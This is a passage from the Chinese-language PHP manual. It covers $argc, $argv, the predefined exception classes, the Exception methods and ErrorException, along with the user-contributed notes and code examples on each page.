            $head[ trim($t[0]) ] = trim( $t[1] );
        else
        {
            $head[] = $v;
            if( preg_match( "#HTTP/[0-9\.]+\s+([0-9]+)#",$v, $out ) )
                $head['reponse_code'] = intval($out[1]);
        }
    }
    return $head;
}

print_r(parseHeaders($http_response_header));

/*
Array
(
    [0] => HTTP/1.1 200 OK
    [reponse_code] => 200
    [Date] => Fri, 01 May 2015 12:56:09 GMT
    [Server] => Apache
    [X-Powered-By] => PHP/5.3.3-7+squeeze18
    [Set-Cookie] => PHPSESSID=ng25jekmlipl1smfscq7copdl3; path=/
    [Expires] => Thu, 19 Nov 1981 08:52:00 GMT
    [Cache-Control] => no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    [Pragma] => no-cache
    [Vary] => Accept-Encoding
    [Content-Length] => 872
    [Connection] => close
    [Content-Type] => text/html
)
*/

?>
nicolas at toniazzi dot net 01-Oct-2013 01:42
Note that the HTTP wrapper has a hard limit of 1024 characters for the header lines.
Any HTTP header received that is longer than this will be ignored and won't appear in $http_response_header.

The cURL extension doesn't have this limit.

http_fopen_wrapper.c: #define HTTP_HEADER_BLOCK_SIZE 1024


传递给脚本的参数数目

  • ? $http_response_header
  • $argv ?
  • PHP Manual
  • 预定义变量
  • 传递给脚本的参数数目

$argc

$argc — 传递给脚本的参数数目

说明

包含当运行于命令行下时传递给当前脚本的参数的数目。

Note: 脚本的文件名总是作为参数传递给当前脚本，因此 $argc 的最小值为 1。

Note: 这个变量仅在 register_argc_argv 打开时可用。

示例

Example #1 $argc 范例

<?php
var_dump($argc);
?>

当使用这个命令执行: php script.php arg1 arg2 arg3

以上示例的输出类似于：

int(4)

注释

Note:

也可以在 $_SERVER['argc'] 中获取。

参见

  • getopt() - 从命令行参数列表中获取选项
  • $argv

User Contributed Notes

anonymous 11-Oct-2018 04:43
int main(int argc, char *argv[])
{
  fprintf(stdout,"argumen count : %d\n",argc);
  fprintf(stdout,"argumen vector : %s\n",argv);
  return 0;
}
elm at r3m0ve dot gmx dot ch 03-Apr-2014 04:57
To decide whether my script is run from CLI I simply create a PHP script that handles only CLI invocations.

File cron.php:
<?php

// Set environment variables your application depends on
$_SERVER[ 'HTTP_HOST' ] = 'domain.tld';
// $_SERVER[ 'REQUEST_URI' ] = '/some/URI/if/needed';

// Use the environment to read out required values
$task = $_SERVER[ 'argv' ][ 1 ];

// Instanciate the dispatcher or whatever you use
$dispatcher = new Dispatcher();
$dispatcher->handle( $task );

?>

This way my application doesn't have to know about CLI at all.
Tejesember 04-May-2011 09:50
To find out are you in CLI or not, this is much better in my opinion:
<?php
if (PHP_SAPI != "cli") {
    exit;
}
?>
karsten at typo3 dot org 18-Feb-2009 12:47
Note: when using CLI $argc (as well as $argv) are always available, regardless of register_argc_argv, as explained at http://docs.php.net/manual/en/features.commandline.php


传递给脚本的参数数组

  • ? $argc
  • 预定义异常 ?
  • PHP Manual
  • 预定义变量
  • 传递给脚本的参数数组

$argv

$argv — 传递给脚本的参数数组

说明

包含当运行于命令行下时传递给当前脚本的参数的数组。

Note: 第一个参数总是当前脚本的文件名，因此 $argv[0] 就是脚本文件名。

Note: 这个变量仅在 register_argc_argv 打开时可用。

示例

Example #1 $argv 范例

<?php
var_dump($argv);
?>

当使用这个命令执行：php script.php arg1 arg2 arg3

以上示例的输出类似于：

array(4) {
  [0]=>
  string(10) "script.php"
  [1]=>
  string(4) "arg1"
  [2]=>
  string(4) "arg2"
  [3]=>
  string(4) "arg3"
}

注释

Note:

也可以在 $_SERVER['argv'] 中获取。

参见

  • getopt() - 从命令行参数列表中获取选项
  • $argc

User Contributed Notes

vatruski at t dot me 22-Apr-2023 11:45
You can reinitialize the argument variables for web applications.
So if you created a command line, with some additional tweaks you can make it work on the web.
Radon8472 26-Nov-2021 08:11
I discovered that `register_argc_argv` is alway OFF if you use php internal webserver, even if it is set to `On` in the php.ini.

What means there seems to be no way to access argv / argc in php internal commandline server.
php at simoneast dot net 24-Nov-2015 07:24
Sometimes $argv can be null, such as when "register-argc-argv" is set to false.  In some cases I've found the variable is populated correctly when running "php-cli" instead of just "php" from the command line (or cron).
hamboy75 at example dot com 05-Nov-2013 03:20
To use $_GET so you dont need to support both if it could be used from command line and from web browser.

foreach ($argv as $arg) {
    $e=explode("=",$arg);
    if(count($e)==2)
        $_GET[$e[0]]=$e[1];
    else
        $_GET[$e[0]]=0;
}
tufan dot oezduman at googlemail dot com 22-Aug-2011 09:06
Please note that, $argv and $argc need to be declared global, while trying to access within a class method.

<?php
class A
{
    public static function b()
    {
        var_dump($argv);
        var_dump(isset($argv));
    }
}

A::b();
?>

will output NULL bool(false)  with a notice of "Undefined variable ..."

whereas global $argv fixes that.
Steve Schmitt 14-Sep-2009 04:57
If you come from a shell scripting background, you might expect to find this topic under the heading "positional parameters".


预定义异常

Table of Contents

  • Exception
  • ErrorException
  • Error
  • ArgumentCountError
  • ArithmeticError
  • AssertionError
  • DivisionByZeroError
  • CompileError
  • ParseError
  • TypeError
  • ValueError
  • UnhandledMatchError
  • FiberError

参见 SPL 异常处理

User Contributed Notes

samuel at jch-optimize dot net 03-Jul-2022 02:52
Predefined Exceptions Class Tree

Error (Implements Throwable)
        ArithmeticError
                DivisionByZeroError
        AssertionError
        CompileError
                ParseError
        TypeError
                ArgumentCountError
        ValueError
        UnhandledMatchError
        FiberError

Exception (Implements Throwable)
        ErrorException


Exception

(PHP 5, PHP 7, PHP 8)

简介

Exception是所有用户级异常的基类。

类摘要

class Exception implements Throwable {
/* 属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 方法 */
public __construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public getMessage(): string
final public getPrevious(): ?Throwable
final public getCode(): int
final public getFile(): string
final public getLine(): int
final public getTrace(): array
final public getTraceAsString(): string
public __toString(): string
private __clone(): void
}

属性

message

异常消息内容

code

异常代码

file

抛出异常的文件名

line

抛出异常在该文件中的行号

previous

之前抛出的异常

string

字符串形式的堆栈跟踪

trace

数组形式的堆栈跟踪

Table of Contents

  • Exception::__construct — 异常构造函数
  • Exception::getMessage — 获取异常消息内容
  • Exception::getPrevious — 返回前一个 Throwable
  • Exception::getCode — 获取异常代码
  • Exception::getFile — 创建异常时的程序文件名称
  • Exception::getLine — 获取创建的异常所在文件中的行号
  • Exception::getTrace — 获取异常追踪信息
  • Exception::getTraceAsString — 获取字符串类型的异常追踪信息
  • Exception::__toString — 将异常对象转换为字符串
  • Exception::__clone — 异常克隆

User Contributed Notes

shaman_master at list dot ru 20-Feb-2020 02:11
Note: this documentation not full, ReflectionObject::export($exception):
<?php
Object of class [  class Exception implements Throwable ] {
  - Properties [7] {
    Property [  protected $message ]
    Property [  private $string ]
    Property [  protected $code ]
    Property [  protected $file ]
    Property [  protected $line ]
    Property [  private $trace ]
    Property [  private $previous ]
  }
  - Methods [11] {
    Method [  final private method __clone ] {
    }

    Method [  public method __construct ] {

      - Parameters [3] {
        Parameter #0 [  $message ]
        Parameter #1 [  $code ]
        Parameter #2 [  $previous ]
      }
    }

    Method [  public method __wakeup ] {
    }

    Method [  final public method getMessage ] {
    }

    Method [  final public method getCode ] {
    }

    Method [  final public method getFile ] {
    }

    Method [  final public method getLine ] {
    }

    Method [  final public method getTrace ] {
    }

    Method [  final public method getPrevious ] {
    }

    Method [  final public method getTraceAsString ] {
    }

    Method [  public method __toString ] {
    }
  }
}
?>

Missed:

    Property [  private $string ]
    Property [  private $trace ]
    Property [  private $previous ]

    Method [  public method __wakeup ] {
    }
whysteepy at gmail dot com 28-Jan-2018 07:55
Lists of Throwable and Exception tree as of 7.2.0

    Error
      ArithmeticError
        DivisionByZeroError
      AssertionError
      ParseError
      TypeError
        ArgumentCountError
    Exception
      ClosedGeneratorException
      DOMException
      ErrorException
      IntlException
      LogicException
        BadFunctionCallException
          BadMethodCallException
        DomainException
        InvalidArgumentException
        LengthException
        OutOfRangeException
      PharException
      ReflectionException
      RuntimeException
        OutOfBoundsException
        OverflowException
        PDOException
        RangeException
        UnderflowException
        UnexpectedValueException
      SodiumException

Find the script and output in the following links:
https://gist.github.com/mlocati/249f07b074a0de339d4d1ca980848e6a
https://3v4l.org/sDMsv

posted by someone here http://php.net/manual/en/class.throwable.php
cHao 27-Sep-2014 06:34
Note that an exception's properties are populated when the exception is *created*, not when it is thrown.  Throwing the exception does not seem to modify them.

Among other things, this means:

* The exception will blame the line that created it, not the line that threw it.

* Unlike in some other languages, rethrowing an exception doesn't muck up the trace.

* A thrown exception and an unthrown one look basically identical.  On my machine, the only visible difference is that a thrown exception has an `xdebug_message` property while an unthrown one doesn't.  Of course, if you don't have xdebug installed, you won't even get that.


异常构造函数

  • ? Exception
  • Exception::getMessage ?
  • PHP Manual
  • Exception
  • 异常构造函数

Exception::__construct

(PHP 5, PHP 7, PHP 8)

Exception::__construct — 异常构造函数

说明

public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)

异常构造函数。

参数

message

抛出的异常消息内容。

code

异常代码。

previous

异常链中的前一个异常。

Note: 如果子类的 $code 和 $message 属性已设置，在调用 Exception 父类的构造器时可以省略默认参数。

注释

Note:

message 不是二进制安全的。

User Contributed Notes

ryan dot jentzsch at gmail dot com 08-Nov-2016 11:45
Note that the code parameter is not the same as exit($code).
Also, the code argument in PHP 7 (possibly earlier versions) is cast to an int including negative values. The code below is completely valid:

<?php
try
{
    throw new \Exception('Testing', -12.12);
}
catch (\Exception $exception)
{
    $code = $exception->getCode();
    if ($code < 0)
    {
        exit(abs($code));
    }
}
talksonweb at gmail dot com 03-Jul-2013 09:43
For those that haven't done exception chaining. Here's an example.

This allows you to add the previous exception to the next one and give yourself detailed information in the end as to what happened. This is useful in larger applications.

<?php
function theDatabaseObj(){
     if( database_object ){
         return database_object;
     }
     else{
         throw new DatabaseException("Could not connect to the database");
     }
}

function updateProfile( $userInfo ){
     try{
         $db = theDatabaseObj();
         $db->updateProfile();
     }
     catch( DatabaseException $e ){
         $message = "The user :" . $userInfo->username . " could not update his profile information";
         /* notice the '$e'. I'm adding the previous exception  to this exception. I can later get a detailed view of
          where the problem began. Lastly, the number '12' is  an exception code. I can use this for categorizing my
         exceptions or don't use it at all. */
         throw new MemberSettingsException($message,12,$e);
     }
}

try{
     updateProfile( $userInfo );
}
catch( MemberSettingsException $e ){
     // this will give all information we have collected above.
     echo $e->getTraceAsString();
}
?>
mattsch at gmail dot com 31-Dec-2012 03:08
Be aware that while $previous is quite useful in providing exception chaining and better traceability, none of the internal php exceptions (e.g. PDOException, ReflectionException, etc) are called internally within php with $previous in mind.

So if your code throws an exception, recovers from it, then catches one of these internal php exceptions, recovers from it and throws another exception, you will not know the first exception that was thrown when calling getPrevious.

See: https://bugs.php.net/bug.php?id=63873


获取异常消息内容

  • ? Exception::__construct
  • Exception::getPrevious ?
  • PHP Manual
  • Exception
  • 获取异常消息内容

Exception::getMessage

(PHP 5, PHP 7, PHP 8)

Exception::getMessage — 获取异常消息内容

说明

final public Exception::getMessage(): string

返回异常消息内容。

参数

此函数没有参数。

返回值

返回字符串类型的异常消息内容。

示例

Example #1 Exception::getMessage()示例

<?php
try {
throw new Exception("Some error message");
} catch(Exception $e) {
echo $e->getMessage();
}
?>

以上示例的输出类似于：

Some error message

参见

  • Throwable::getMessage() - 获取信息

User Contributed Notes

There are no user contributed notes for this page.


返回前一个 Throwable

  • ? Exception::getMessage
  • Exception::getCode ?
  • PHP Manual
  • Exception
  • 返回前一个 Throwable

Exception::getPrevious

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Exception::getPrevious — 返回前一个 Throwable

说明

final public Exception::getPrevious(): ?Throwable

返回前一个 Throwable （传递给 Exception::__construct()方法的第三个参数）。

参数

此函数没有参数。

返回值

返回异常链中的前一个异常 Throwable，否则返回null。

示例

Example #1 Exception::getPrevious()示例

追踪异常，并循环打印。

<?php
class MyCustomException extends Exception {}

function doStuff() {
try {
throw new InvalidArgumentException("You are doing it wrong!", 112);
} catch(Exception $e) {
throw new MyCustomException("Something happend", 911, $e);
}
}

try {
doStuff();
} catch(Exception $e) {
do {
printf("%s:%d %s (%d) [%s]\n", $e->getFile(), $e->getLine(), $e->getMessage(), $e->getCode(), get_class($e));
} while($e = $e->getPrevious());
}
?>

以上示例的输出类似于：

/home/bjori/ex.php:8 Something happend (911) [MyCustomException]
/home/bjori/ex.php:6 You are doing it wrong! (112) [InvalidArgumentException]

参见

  • Throwable::getPrevious() - 返回先前的 Throwable

User Contributed Notes

harry at upmind dot com 10-Nov-2018 03:03
/**
     * Gets sequential array of all previously-chained errors
     *
     * @param Throwable $error
     *
     * @return Throwable[]
     */
    function getChain(Throwable $error) : array
    {
        $chain = [];

        do {
            $chain[] = $error;
        } while ($error = $error->getPrevious());

        return $chain;
    }
Anonymous 03-Oct-2011 01:11
May be I am late (5.2 is not supported). But if you want use the functionality of "previous Exception" in PHP < 5.3 or write compatible code, you can use next way as below.

<?php
abstract class App_Exception_PreviousNativeAbstract extends Exception {
    public static $printPrevious = true;

    public function __toString() {
        $result   = array();
        $result[] = sprintf("Exception '%s' with message '(%s) %s' in %s:%d", get_class($this), $this->code, $this->message, $this->file, $this->line);
        $result[] = '---[Stack trace]:';
        $result[] = $this->getTraceAsString();

        if (self::$printPrevious) {
            $previous = $this->getPrevious();
            if ($previous) {
                do {
                    $result[] = '---[Previous exception]:';
                    $result[] = sprintf("Exception '%s' with message '(%s) %s' in %s:%d", get_class($previous), $previous->getCode(), $previous->getMessage(), $previous->getFile(), $previous->getLine());
                    $result[] = '---[Stack trace]:';
                    $result[] = $previous->getTraceAsString();
                } while(method_exists($previous, 'getPrevious') && ($previous = $previous->getPrevious()));
            }
        }

        return implode("\r\n", $result);
    }
}

abstract class App_Exception_PreviousLegacyAbstract extends App_Exception_PreviousNativeAbstract {
    protected $previous;

    public function __construct($message, $code = 0, Exception $previous = null) {
        $this->previous = $previous;

        parent::__construct($message, $code);
    }

    public function getPrevious() {
        return $this->previous;
    }
}

if (version_compare(PHP_VERSION, '5.3.0', '>=')) {
    abstract class App_Exception_PreviousAbstract extends App_Exception_PreviousNativeAbstract {}
}
else {
    abstract class App_Exception_PreviousAbstract extends App_Exception_PreviousLegacyAbstract {}
}

class App_Exception extends App_Exception_PreviousAbstract {
    public function __construct($message, $code = 0, Exception $previous = null) {
        parent::__construct($message, 0, $previous);
    }
}

// Example:
try {
    // ...
    throw new Exception('Exception mesage');
    // ...
} catch (Exception $e) {
    throw new App_Exception('App exception mesage', 0, $e);
}
?>


获取异常代码

  • ? Exception::getPrevious
  • Exception::getFile ?
  • PHP Manual
  • Exception
  • 获取异常代码

Exception::getCode

(PHP 5, PHP 7, PHP 8)

Exception::getCode — 获取异常代码

说明

final public Exception::getCode(): int

返回异常代码。

参数

此函数没有参数。

返回值

Exception 返回整型（int）的异常代码，但在其他类中可能返回其他类型(比如在 PDOException 中返回 string)。

示例

Example #1 Exception::getCode()示例

<?php
try {
throw new Exception("Some error message", 30);
} catch(Exception $e) {
echo "The exception code is: " . $e->getCode();
}
?>

以上示例的输出类似于：

The exception code is: 30

参见

  • Throwable::getCode() - 获取异常代码

User Contributed Notes

2M 02-Aug-2021 06:50
Do not use the strict operator as suggested when checking the Exception Code in \PDOException.
As per documentation: \PDOException is returning a string for its Exception Code and not an Integer.

Ran into the following in PHP8:
<?php

catch(\PDOException $e) {
    var_dump($e->getCode()); //Output: string(5) "23000"
}

?>
ahmad dot mayahi at gmail dot com 06-Mar-2017 09:45
One of the most useful tricks of getCode is handling duplication entries when trying to add a duplicate row into the database.

Sometimes we don't need to show any errors regarding this duplication.

The following snippet is taken from one of my projects:

<?php
//I have a mysql table called hosts with one unique key named host_name.
 try {
     $hosts = new Hosts(["host_name" => "www.example.com");
     $hosts->save();
 } catch (\PDOException $e) {
      if ($e->getCode() === 23000) {
          //Do nothing
     }
}
?>

Here I'm saving the host name, and I don't care if it's already exists.
talksonweb at gmail dot com 28-Jun-2013 03:23
The exception code can be used to categorize your errors. If you're wondering what the exception code can be used for, read on below.

Let's say each time your application isn't able to connect to the database, you can save the error message under the error/exception code 214. At the end of the month, you can do a quick search on the error number '214' and find out how many times this error occurred. This makes life easier. Also, the error/exception message will give you details into what happened.

The point is to use both the exception message and code. It's helpful in the long run.

Note: I added this note, because I was confused earlier as to the purpose of the exception code and it's use.
ricky at rocker dot com 19-Feb-2013 10:53
when raising an Exception with no error code explicitly defined, getCode() returns the integer 0

<?php
try {
  throw new Exception("no code!!");
} catch (Exception $e) {
  print("Code='" . $e->getCode() . "'");
}
?>

outputs

Code='0'


创建异常时的程序文件名称

  • ? Exception::getCode
  • Exception::getLine ?
  • PHP Manual
  • Exception
  • 创建异常时的程序文件名称

Exception::getFile

(PHP 5, PHP 7, PHP 8)

Exception::getFile — 创建异常时的程序文件名称

说明

final public Exception::getFile(): string

获取创建异常的程序文件名称。

参数

此函数没有参数。

返回值

返回发生异常的程序文件名称。

示例

Example #1 Exception::getFile()示例

<?php
try {
throw new Exception;
} catch(Exception $e) {
echo $e->getFile();
}
?>

以上示例的输出类似于：

/home/bjori/tmp/ex.php

参见

  • Throwable::getFile() - 获取创建对象的文件

User Contributed Notes

Jan 24-Sep-2019 12:28
If you're looking to extract only the "ex.php" part of the full "/home/bjori/tmp/ex.php", then use:

<?php
    echo basename($e->getFile())
?>

or better yet, esp. if your paths possibly contain non-ASCII characters:

<?php
    echo pathinfo($e->getFile())['basename']
?>


获取创建的异常所在文件中的行号

  • ? Exception::getFile
  • Exception::getTrace ?
  • PHP Manual
  • Exception
  • 获取创建的异常所在文件中的行号

Exception::getLine

(PHP 5, PHP 7, PHP 8)

Exception::getLine — 获取创建的异常所在文件中的行号

说明

final public Exception::getLine(): int

返回发生异常的代码在文件中的行号。

参数

此函数没有参数。

返回值

返回发生异常的代码在文件中的行号。

示例

Example #1 Exception::getLine()示例

<?php
try {
throw new Exception("Some error message");
} catch(Exception $e) {
echo "The exception was thrown on line: " . $e->getLine();
}
?>

以上示例的输出类似于：

The exception was thrown on line: 3

参见

  • Throwable::getLine() - 获取初始化对象时候的行号

User Contributed Notes

There are no user contributed notes for this page.


获取异常追踪信息

  • ? Exception::getLine
  • Exception::getTraceAsString ?
  • PHP Manual
  • Exception
  • 获取异常追踪信息

Exception::getTrace

(PHP 5, PHP 7, PHP 8)

Exception::getTrace — 获取异常追踪信息

说明

final public Exception::getTrace(): array

返回异常追踪信息。

参数

此函数没有参数。

返回值

返回包含异常追踪信息的数组（array）。

示例

Example #1 Exception::getTrace()示例

<?php
function test() {
throw new Exception;
}

try {
test();
} catch(Exception $e) {
var_dump($e->getTrace());
}
?>

以上示例的输出类似于：

array(1) {
  [0]=>
  array(4) {
    ["file"]=>
    string(22) "/home/bjori/tmp/ex.php"
    ["line"]=>
    int(7)
    ["function"]=>
    string(4) "test"
    ["args"]=>
    array(0) {
    }
  }
}

参见

  • Throwable::getTrace() - 获取堆栈踪迹（Stack Trace）

User Contributed Notes

ronald at ronalddiaz dot net 17-Aug-2020 10:30
If you are wanting to see the args within a stack trace on PHP 7.4, note that there is now a zend flag in the php.ini file that is default set to Off.

zend.exception_ignore_args = Off

Set this flag to On and it will show the args again.

zend.exception_ignore_args = On

https://www.php.net/manual/en/ini.core.php#ini.zend.exception-ignore-args
an43 dot bal at gmail dot com 17-May-2020 03:01
As of PHP 7.4 return values of Exception::getTrace() (and Error::getTrace()) no longer contains "args" keys like debug_backtrace() with default options.

So, return value since 7.4 is like debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS).
knivey 18-Apr-2013 02:53
The order of the trace starts at the source of the exception and does not include main.
So for example:

<?php
function Bar() {
 throw new Exception;
}

function Foo() {
 Bar();
}

try {
 Foo();
} catch(Exception $e) {
 var_dump($e->getTrace());
}
?>

Will output:

array(2) {
  [0]=>
  array(4) {
    ["file"]=>
    string(21) "/.../test.php"
    ["line"]=>
    int(8)
    ["function"]=>
    string(3) "Bar"
    ["args"]=>
    array(0) {
    }
  }
  [1]=>
  array(4) {
    ["file"]=>
    string(21) "/.../test.php"
    ["line"]=>
    int(12)
    ["function"]=>
    string(3) "Foo"
    ["args"]=>
    array(0) {
    }
  }
}
sam at notmyrealemail dot org 17-Feb-2012 03:26
Two important points about this function which are not documented:

1) The trace does not include the file / line at which the exception is thrown; that entry is only recorded in the top-level getFile/Line methods.

2) Elements are returned in 'closest-first' order, e.g. if you have a script x which calls function y which calls function z which throws an exception, then the first trace element will be 'Y' and the second will be 'X'.
andreas at cap-systems dot com 09-Jun-2010 12:55
When calling getTrace(), there is also the name of the class in returned array:

<?php
  class Test {

    function __construct() {

      throw new Exception('FATAL ERROR: bla bla...');

    }

  }

  try {

    $obj = new Test();

  } catch(Exception $e) {

    var_dump($e->getTrace());

  }
?>

Will show something like:

array(1) {
  [0]=>  array(6) {
               ["file"]=>  string(54) "/....../test.php"
               ["line"]=>  int(37)
               ["function"]=>  string(11) "__construct"
               ["class"]=>  string(4) "Test"
               ["type"]=>  string(2) "->"
               ["args"]=>  array(0) { }
             }
}

You can use this function to format a exception:

<?php
  function MakePrettyException(Exception $e) {
    $trace = $e->getTrace();

    $result = 'Exception: "';
    $result .= $e->getMessage();
    $result .= '" @ ';
    if($trace[0]['class'] != '') {
      $result .= $trace[0]['class'];
      $result .= '->';
    }
    $result .= $trace[0]['function'];
    $result .= '();<br />';

    return $result;
  }

  //Example:
  try {

    $obj = new Test();

  } catch(Exception $e) {

    echo MakePrettyException($e);

  }

?>

Result:

Exception: "FATAL ERROR: bla bla..." @ Test->__construct();


获取字符串类型的异常追踪信息

  • ? Exception::getTrace
  • Exception::__toString ?
  • PHP Manual
  • Exception
  • 获取字符串类型的异常追踪信息

Exception::getTraceAsString

(PHP 5, PHP 7, PHP 8)

Exception::getTraceAsString — 获取字符串类型的异常追踪信息

说明

final public Exception::getTraceAsString(): string

以字符串类型返回异常追踪信息。

参数

此函数没有参数。

返回值

以字符串类型返回异常追踪信息。

示例

Example #1 Exception::getTraceAsString()示例

<?php
function test() {
throw new Exception;
}

try {
test();
} catch(Exception $e) {
echo $e->getTraceAsString();
}
?>

以上示例的输出类似于：

#0 /home/bjori/tmp/ex.php(7): test()
#1 {main}

参见

  • Throwable::getTraceAsString() - 以 string 形式获取堆栈踪迹

User Contributed Notes

cottton at i-stats dot net 21-Feb-2015 04:41
this method uses \n for new line (i expected PHP_EOL but well ...).
if you want to log the string as one single line use something like:
<?php
$separator = ', ';
$one_line = str_replace("\n", $separator, $e->getTraceAsString());
?>
ernest at vogelsinger dot at 08-May-2014 09:49
Honestly, Exception::getTraceAsString() simply sucks, listing only the called method (below, for example, on line 89 function fail2() gets called, but there's no information that you have the originator is fail1()). The fact that, in the example below, the exception gets thrown on line 78, is completely omitted from the trace and only available within the exception. Chained exceptions are not supported as well.

Example:
#0 /var/htdocs/websites/sbdevel/public/index.php(70): seabird\test\C->exc()
#1 /var/htdocs/websites/sbdevel/public/index.php(85): seabird\test\C->doexc()
#2 /var/htdocs/websites/sbdevel/public/index.php(89): seabird\test\fail2()
#3 /var/htdocs/websites/sbdevel/public/index.php(93): seabird\test\fail1()
#4 {main}

jTraceEx() provides a much better java-like stack trace that includes support for chained exceptions:
Exception: Thrown from class C
 at seabird.test.C.exc(index.php:78)
 at seabird.test.C.doexc(index.php:70)
 at seabird.test.fail2(index.php:85)
 at seabird.test.fail1(index.php:89)
 at (main)(index.php:93)
Caused by: Exception: Thrown from class B
 at seabird.test.B.exc(index.php:64)
 at seabird.test.C.exc(index.php:75)
 ... 4 more
Caused by: Exception: Thrown from class A
 at seabird.test.A.exc(index.php:46)
 at seabird.test.B.exc(index.php:61)
 ... 5 more

(see at the end for the example code)

 <?php
 /**
 * jTraceEx() - provide a Java style exception trace
 * @param $exception
 * @param $seen      - array passed to recursive calls to accumulate trace lines already seen
 *                     leave as NULL when calling this function
 * @return array of strings, one entry per trace line
 */
function jTraceEx($e, $seen=null) {
    $starter = $seen ? 'Caused by: ' : '';
    $result = array();
    if (!$seen) $seen = array();
    $trace  = $e->getTrace();
    $prev   = $e->getPrevious();
    $result[] = sprintf('%s%s: %s', $starter, get_class($e), $e->getMessage());
    $file = $e->getFile();
    $line = $e->getLine();
    while (true) {
        $current = "$file:$line";
        if (is_array($seen) && in_array($current, $seen)) {
            $result[] = sprintf(' ... %d more', count($trace)+1);
            break;
        }
        $result[] = sprintf(' at %s%s%s(%s%s%s)',
                                    count($trace) && array_key_exists('class', $trace[0]) ? str_replace('\\', '.', $trace[0]['class']) : '',
                                    count($trace) && array_key_exists('class', $trace[0]) && array_key_exists('function', $trace[0]) ? '.' : '',
                                    count($trace) && array_key_exists('function', $trace[0]) ? str_replace('\\', '.', $trace[0]['function']) : '(main)',
                                    $line === null ? $file : basename($file),
                                    $line === null ? '' : ':',
                                    $line === null ? '' : $line);
        if (is_array($seen))
            $seen[] = "$file:$line";
        if (!count($trace))
            break;
        $file = array_key_exists('file', $trace[0]) ? $trace[0]['file'] : 'Unknown Source';
        $line = array_key_exists('file', $trace[0]) && array_key_exists('line', $trace[0]) && $trace[0]['line'] ? $trace[0]['line'] : null;
        array_shift($trace);
    }
    $result = join("\n", $result);
    if ($prev)
        $result  .= "\n" . jTraceEx($prev, $seen);

    return $result;
}
?>

Here's the example code:
<?php
class A {
    public function exc() {
        throw new \Exception('Thrown from class A');    // <-- line 46
    }
}

class B {
    public function exc() {
        try {
            $a = new A;
            $a->exc();    // <-- line 61
        }
        catch(\Exception $e1) {
            throw new \Exception('Thrown from class B', 0, $e1);    // <-- line 64
        }
    }
}
class C {
    public function doexc() {
        $this->exc();    // <-- line 70
    }
    public function exc() {
        try {
            $b = new B;
            $b->exc();    // <-- line 75
        }
        catch(\Exception $e1) {
            throw new \Exception('Thrown from class C', 0, $e1);    // <-- line 78
        }
    }
}

function fail2() {
    $c = new C;
    $c->doexc();    // <-- line 85
}

function fail1() {
    fail2();            // <-- line 89
}

try {
    fail1();            // <-- line 93
}
catch(\Exception $e) {
    echo jTraceEx($e);
}
?>


将异常对象转换为字符串

  • ? Exception::getTraceAsString
  • Exception::__clone ?
  • PHP Manual
  • Exception
  • 将异常对象转换为字符串

Exception::__toString

(PHP 5, PHP 7, PHP 8)

Exception::__toString — 将异常对象转换为字符串

说明

public Exception::__toString(): string

返回转换为字符串（string）类型的异常。

参数

此函数没有参数。

返回值

返回转换为字符串（string）类型的异常。

示例

Example #1 Exception::__toString()示例

<?php
try {
throw new Exception("Some error message");
} catch(Exception $e) {
echo $e;
}
?>

以上示例的输出类似于：

exception 'Exception' with message 'Some error message' in /home/bjori/tmp/ex.php:3
Stack trace:
#0 {main}

参见

  • Throwable::__toString() - 获取 Throwable 对象 string 形式的表达

User Contributed Notes

There are no user contributed notes for this page.


异常克隆

  • ? Exception::__toString
  • ErrorException ?
  • PHP Manual
  • Exception
  • 异常克隆

Exception::__clone

(PHP 5, PHP 7, PHP 8)

Exception::__clone — 异常克隆

说明

private Exception::__clone(): void

Exceptions 不能被克隆， 这将抛出一个 Error。

参数

此函数没有参数。

返回值

没有返回值。

错误／异常

异常被不允许克隆。

更新日志

版本 | 说明
8.1.0 | Exception::__clone() 不再是 final 的。

User Contributed Notes

There are no user contributed notes for this page.


ErrorException

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

错误异常。

类摘要

class ErrorException extends Exception {
/* 属性 */
protected int $severity = E_ERROR;
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 方法 */
public __construct(
string $message = "",
int $code = 0,
int $severity = E_ERROR,
?string $filename = null,
?int $line = null,
?Throwable $previous = null
)
final public getSeverity(): int
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

属性

severity

异常级别

示例

Example #1 使用 set_error_handler() 函数将错误信息托管至 ErrorException。

<?php
function exception_error_handler(int $errno, string $errstr, string $errfile = null, int $errline) {
if (!(error_reporting() & $errno)) {
// 这个错误代码未包含在 error_reporting 中
return;
}
throw new \ErrorException($errstr, 0, $errno, $errfile, $errline);
}
set_error_handler(exception_error_handler(...));
// 在 PHP 8.1.0 引入 First-class 可调用语法之前，必须使用下面的调用来代替
// set_error_handler(__NAMESPACE__ . "\\exception_error_handler");

/* 触发异常 */
strpos();
?>

以上示例的输出类似于：

Fatal error: Uncaught exception 'ErrorException' with message 'strpos() expects at least 2 parameters, 0 given' in /home/bjori/tmp/ex.php:12
Stack trace:
#0 [internal function]: exception_error_handler(2, 'strpos() expect...', '/home/bjori/php...', 12, Array)
#1 /home/bjori/php/cleandocs/test.php(12): strpos()
#2 {main}
  thrown in /home/bjori/tmp/ex.php on line 12

Table of Contents

  • ErrorException::__construct — 构造一个异常（Exception）
  • ErrorException::getSeverity — 获取异常的严重程度

User Contributed Notes

Christopher Marshall 16-Nov-2021 03:06
Going on further from the point made by  triplepoint at gmail dot com:

I'm using PHP 7.4.0 and trying to introduce error handling, exception handling and fatal exception handling into my application. A lot of the info all over the internet is now out of date in regards to handling errors with the new changes in PHP 7 and 8, which makes it difficult at the best of times to understand everything.

However what I've found is that by using register_shutdown_function to handle fatal exceptions, it works as expected. set_exception_handler also works perfectly in conjunction. The issue comes when you use set_error_handler as well, and you trigger a custom error (for example using trigger_error) - even if you're using E_ERROR or E_USER_ERROR.

